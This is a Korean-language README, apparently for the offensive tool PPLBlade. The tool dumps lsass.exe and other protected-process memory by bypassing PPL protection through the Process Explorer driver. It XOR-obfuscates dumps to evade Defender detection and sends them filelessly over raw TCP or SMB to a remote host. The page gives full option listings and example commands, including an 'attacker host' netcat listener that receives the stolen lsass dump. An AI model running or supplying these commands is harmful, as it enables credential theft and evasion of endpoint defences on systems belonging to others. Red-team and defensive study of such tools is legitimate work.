PPLBlade

메모리 덤프를 난독화하고 디스크에 저장하지 않고 원격 워크스테이션으로 전송할 수 있는 보호된 프로세스 덤퍼 도구입니다.

주요 기능:

PPL 보호 우회
메모리 덤프 파일을 난독화하여 Defender 시그니처 기반 탐지 메커니즘 회피
RAW 및 SMB 업로드 방식을 사용하여 디스크에 저장하지 않고 메모리 덤프 업로드 (파일리스 덤프)

이 도구에서 사용된 기술에 대한 개요는 다음에서 확인할 수 있습니다: https://tastypepperoni.medium.com/bypassing-defenders-lsass-dump-detection-and-ppl-protection-in-go-7dd85d9a32e6

PROCEXP15.SYS는 컴파일 목적으로 소스 파일에 포함되어 있습니다. 타겟 머신에 PPLBlade.exe와 함께 전송할 필요가 없습니다.

이미 PPLBlade.exe에 내장되어 있습니다. 익스플로잇은 단일 실행 파일입니다.

모드:

Dump - PID 또는 프로세스 이름을 사용하여 프로세스 메모리 덤프
Decrypt - 난독화된(--obfuscate) 덤프 파일을 원래 상태로 되돌리기
Cleanup - 실행 중 문제가 발생한 경우 수동으로 정리 (참고: 옵션 값은 정리하려는 실행과 동일해야 함)
DoThatLsassThing - Process Explorer 드라이버를 사용하여 lsass.exe 덤프 (기본 PoC)

핸들 모드:

Direct - OpenProcess() 함수를 사용하여 직접 PROCESS_ALL_ACCESS 핸들 열기
Procexp - PROCEXP152.sys를 사용하여 핸들 획득

Usage of PPLBlade.exe:
  -driver string
        Path where the driver file will be dropped (default: current directory)
  -dumpmode string
        Dump mode [local|network] (default "local")
  -dumpname string
        Name of the dump file (default "PPLBlade.dmp")
  -handle string
        Method to obtain target process handle [direct|procexp] (default "direct")
  -help
        Prints this help message
  -ip string
        IP of the remote server
  -key string
        XOR Key for obfuscation (default "PPLBlade")
  -mode string
        Kill or Dump process [dump|decrypt|cleanup|dothatlsassthing] (default "dump")
  -name string
        Process name of target process
  -network string
        Method for network transfer[raw|smb] (default "raw")
  -obfuscate
        Obfuscate dump file
  -pass string
        SMB password
  -pid int
        PID of target process (prioritized over process name)
  -port int
        PORT on the remote server
  -quiet
        Quiet mode
  -service string
        Name of the service (default "PPLBlade")
  -share string
        share name
  -user string
        SMB username

Examples:
PPLBlade.exe --mode dothatlsassthing
PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234
PPLBlade.exe --mode decrypt --dumpname PPLBlade.dmp --key PPLBlade
PPLBlade.exe --mode cleanup

예시:

PROCEXP152.sys를 사용하여 lsass를 덤프하는 기본 PoC:

PPLBlade.exe --mode dothatlsassthing

(참고: XOR 덤프 파일을 생성하지 않습니다. XOR 기능을 활성화하려면 추가적인 obfuscate 플래그를 제공하십시오.)

난독화된 LSASS 덤프를 원격 위치로 업로드:

PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234

공격자 호스트:

nc -lnp 1234 > lsass.dmp
python3 deobfuscate.py --dumpname lsass.dmp

메모리 덤프 난독화 해제:

PPLBlade.exe --mode descrypt --dumpname PPLBlade.dmp --key PPLBlade

PPLBlade

인기

PPLBlade